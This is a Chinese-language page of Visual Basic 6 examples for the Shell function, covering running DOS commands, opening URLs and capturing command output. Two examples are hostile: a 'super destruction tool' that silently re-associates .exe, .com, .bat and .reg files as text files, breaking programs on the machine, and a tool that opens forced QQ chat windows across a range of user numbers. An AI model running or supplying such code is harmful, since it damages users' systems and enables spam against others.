?? vb-shell.txt
字號:
[原創]VB里SHELL函數的使用示例SHELL函數是VB里面一個很重要的函數,下面通過以前寫的幾個例子來說明。
一、問題: 如何得到DOS SHELL窗口中的文字?
比如一個DOS SHELL運行完以后顯示的結果,怎么得到?
Private Sub Form_Load()
Open "C:\test.bat" For Output As 1
Print #1, "dir c:\*.* >> c:\test.bat"
Close 1
Shell "c:\test.bat"
End Sub
二、程序員也常常希望用戶能點擊軟件上的鏈接而直接打開自己的主頁或給自己寫信。用下面的方法可以不另外添加控件而實現這種功能。
Private Sub Form_Load()
Dim url$
Dim email$
url = "http://www.sohu.com"
email = "mailto:hgx512000@sohu.com"
Shell "start.exe " & url, vbHide 'start.exe其實不好用,在2000沒有這個文件,改為explorer.exe最好。
Shell "start.exe " & email, vbHide
End Sub
注意:Start.exe 后別忘了留空格。
三、利用文本框調用MSDOS(在文本框輸入命令后即可執行DOS命令)
Private Sub Command1_Click()
Dim dos$
Dim rundos$
dos = "command.com /c " & Text1.Text
rundos = """" & dos & Chr(34)
Shell "start.exe " & dos, vbHide
End Sub
Private Sub Command2_Click()
Text1.Text = ""
End Sub
Private Sub Command3_Click()
Unload Me
End Sub
四、QQ強制聊天工具
Dim i As Long
Dim j As Long
Private Sub Command1_Click()
i = Val(Text1.Text)
j = Val(Text2.Text)
Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
Unload Me
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
End Sub
Private Sub Label3_Click()
Form2.Show
End Sub
Private Sub Label4_Click()
Dim url$
Dim email$
url = "http://www.ehaonet.com/cgi-bin/leobbs/leobbs.cgi"
Shell "start.exe " & url, vbHide
End Sub
Private Sub Timer1_Timer()
Dim dos$
Dim rundos$
Dim istring$
Dim istring2$
istring = Str(i)
istring2 = Right(istring, Len(istring) - 1)
dos = "http://wpa.qq.com/msgrd?V=1&Uin=" & istring2 & "&Site=http://www.sohu.com&Menu=yes"
rundos = """" & dos & Chr(34)
Shell "start.exe " & rundos, vbHide
i = i + 1
If i > j Then Timer1.Enabled = False
End Sub
五,超級破壞工具
Private Sub Command1_Click()
Shell "cmd /c assoc .reg=txtfile", vbHide
Shell "cmd /c assoc .bat=txtfile", vbHide
Shell "cmd /c assoc .com=txtfile", vbHide
Shell "cmd /c assoc .exe=txtfile", vbHide
End Sub
Private Sub Command2_Click()
Unload Me
End Sub
Private Sub Label1_Click()
Shell "start.exe http://www.ehaonet.com/cgi-bin/leobbs/leobbs.cgi"
End Sub
Private Sub Label2_Click()
Form2.Show
End Sub
六,利用文本框調用MSDOS,顯示執行結果。
Private Sub Command1_Click()
Dim dos$
Dim rundos$
Dim i As Integer
dos = "command.com /c " & Text1.Text
rundos = """" & dos & Chr(34)
For i = 1 To Len(Text1.Text)
If Mid(Text1.Text, i, 1) = ">" Or Mid(Text1.Text, i, 1) = ">>" Then
Shell "start.exe " & rundos, vbHide
Open "C:\sgxyhgx.bat" For Output As 1
Print #1, Text1.Text
Close 1
Shell "command.com /c c:\sgxyhgx.bat >c:\sgxyhgx.txt", vhhide
Exit For
End If
If i = Len(Text1.Text) Then
Open "C:\sgxyhgx.bat" For Output As 1
Print #1, Text1.Text; " >c:\sgxyhgx.txt"
Close 1
Shell "c:\sgxyhgx.bat", vhhide
End If
Next i
Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
Text1.Text = ""
Text2.Text = ""
End Sub
Private Sub Command3_Click()
Unload Me
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Shell "command.com /c del c:\sgxyhgx.bat"
Shell "command.com /c del c:\sgxyhgx.txt"
End Sub
Private Sub Label2_Click()
MsgBox ("如下面命令:" & Chr(13) & Chr(10) & "copy c:\2.txt d:\3.txt" & Chr(13) & Chr(10) & "如果不寫目標地址d:\,則3.txt在本程序所在目標生成")
End Sub
Private Sub Timer1_Timer()
Dim nline$
Dim sumline$
Open "c:\sgxyhgx.txt" For Input As #2
Do Until EOF(2)
Line Input #2, nline
sumline = sumline + nline + Chr(13) + Chr(10)
Loop
Close #2
Text2.Text = sumline
Timer1.Enabled = False
End Sub
能上網時通知我:
Private Sub Command1_Click()
Unload Me
End Sub
Private Sub Command2_Click()
Me.Hide
End Sub
Private Sub Timer1_Timer()
Dim nline As String
Dim sumnline As String
Open "c:\1.txt" For Input As #1
Do Until EOF(1)
Line Input #1, nline
sumnline = sumnline & nline + Chr(13) + Chr(10)
Loop
Print sumnline
j = Len(sumnline)
For i = 1 To j
If Mid(sumnline, i, 5) = "Reply" Then
Shell "D:\Program Files\Windows Media Player\wmplayer.exe F:\H\下載音樂\分飛.mpga"
MsgBox ("終于能上網啦,上吧上吧。")
Timer1.Enabled = False
Timer2.Enabled = False
Unload Form1
Exit For
End If
Next i
Close 1
End Sub
Private Sub Timer2_Timer()
Shell "command.com /c ping www.163.com >c:\1.txt", vbHide
End Sub
查找字符串:
Private Sub Command1_Click()
pop = InStr(1, Text1.Text, Text2.Text) 'instr的用法是(開始位置,要被查找的字符串,查找字符串)
If pop > 0 Then '有匹配的字符串
Text1.SelStart = pop - 1 'selstart是從0開始算起的
Text1.SelLength = Len(Text2.Text)
Text1.SetFocus
End If
End Sub
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -